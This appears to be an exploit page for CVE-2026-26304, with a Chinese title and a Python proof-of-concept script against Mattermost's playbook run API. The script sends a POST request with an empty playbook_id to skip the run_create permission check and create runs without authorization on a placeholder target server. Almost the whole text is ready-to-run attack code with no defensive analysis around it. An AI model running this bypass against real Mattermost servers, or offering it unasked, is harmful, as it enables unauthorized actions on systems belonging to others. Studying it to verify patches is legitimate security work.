CVE-2026-26304 Mattermost playbook run API权限验证缺失漏洞

import requests import json # CVE-2026-26304 PoC - Mattermost Unauthorized Run Creation # Target: Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2 TARGET_URL = "http://target-mattermost-server.com" API_TOKEN = "your_mattermost_api_token" TEAM_ID = "target_team_id" def create_unauthorized_run(): """ Exploit for CVE-2026-26304 This PoC demonstrates how to create unauthorized runs via playbook run API with empty playbookId bypassing run_create permission check. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload with empty playbookId to bypass permission check payload = { "team_id": TEAM_ID, "name": "Unauthorized Run", "playbook_id": "", # Empty playbookId bypasses permission check "description": "This run was created without proper authorization" } endpoint = f"{TARGET_URL}/api/v4/playbooks/runs" try: response = requests.post(endpoint, headers=headers, json=payload, timeout=30) if response.status_code == 201: print("[+] SUCCESS: Unauthorized run created!") print(f"[+] Response: {json.dumps(response.json(), indent=2)}") return True elif response.status_code == 403: print("[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": print("CVE-2026-26304 PoC - Mattermost Authorization Bypass") print("=" * 60) create_unauthorized_run()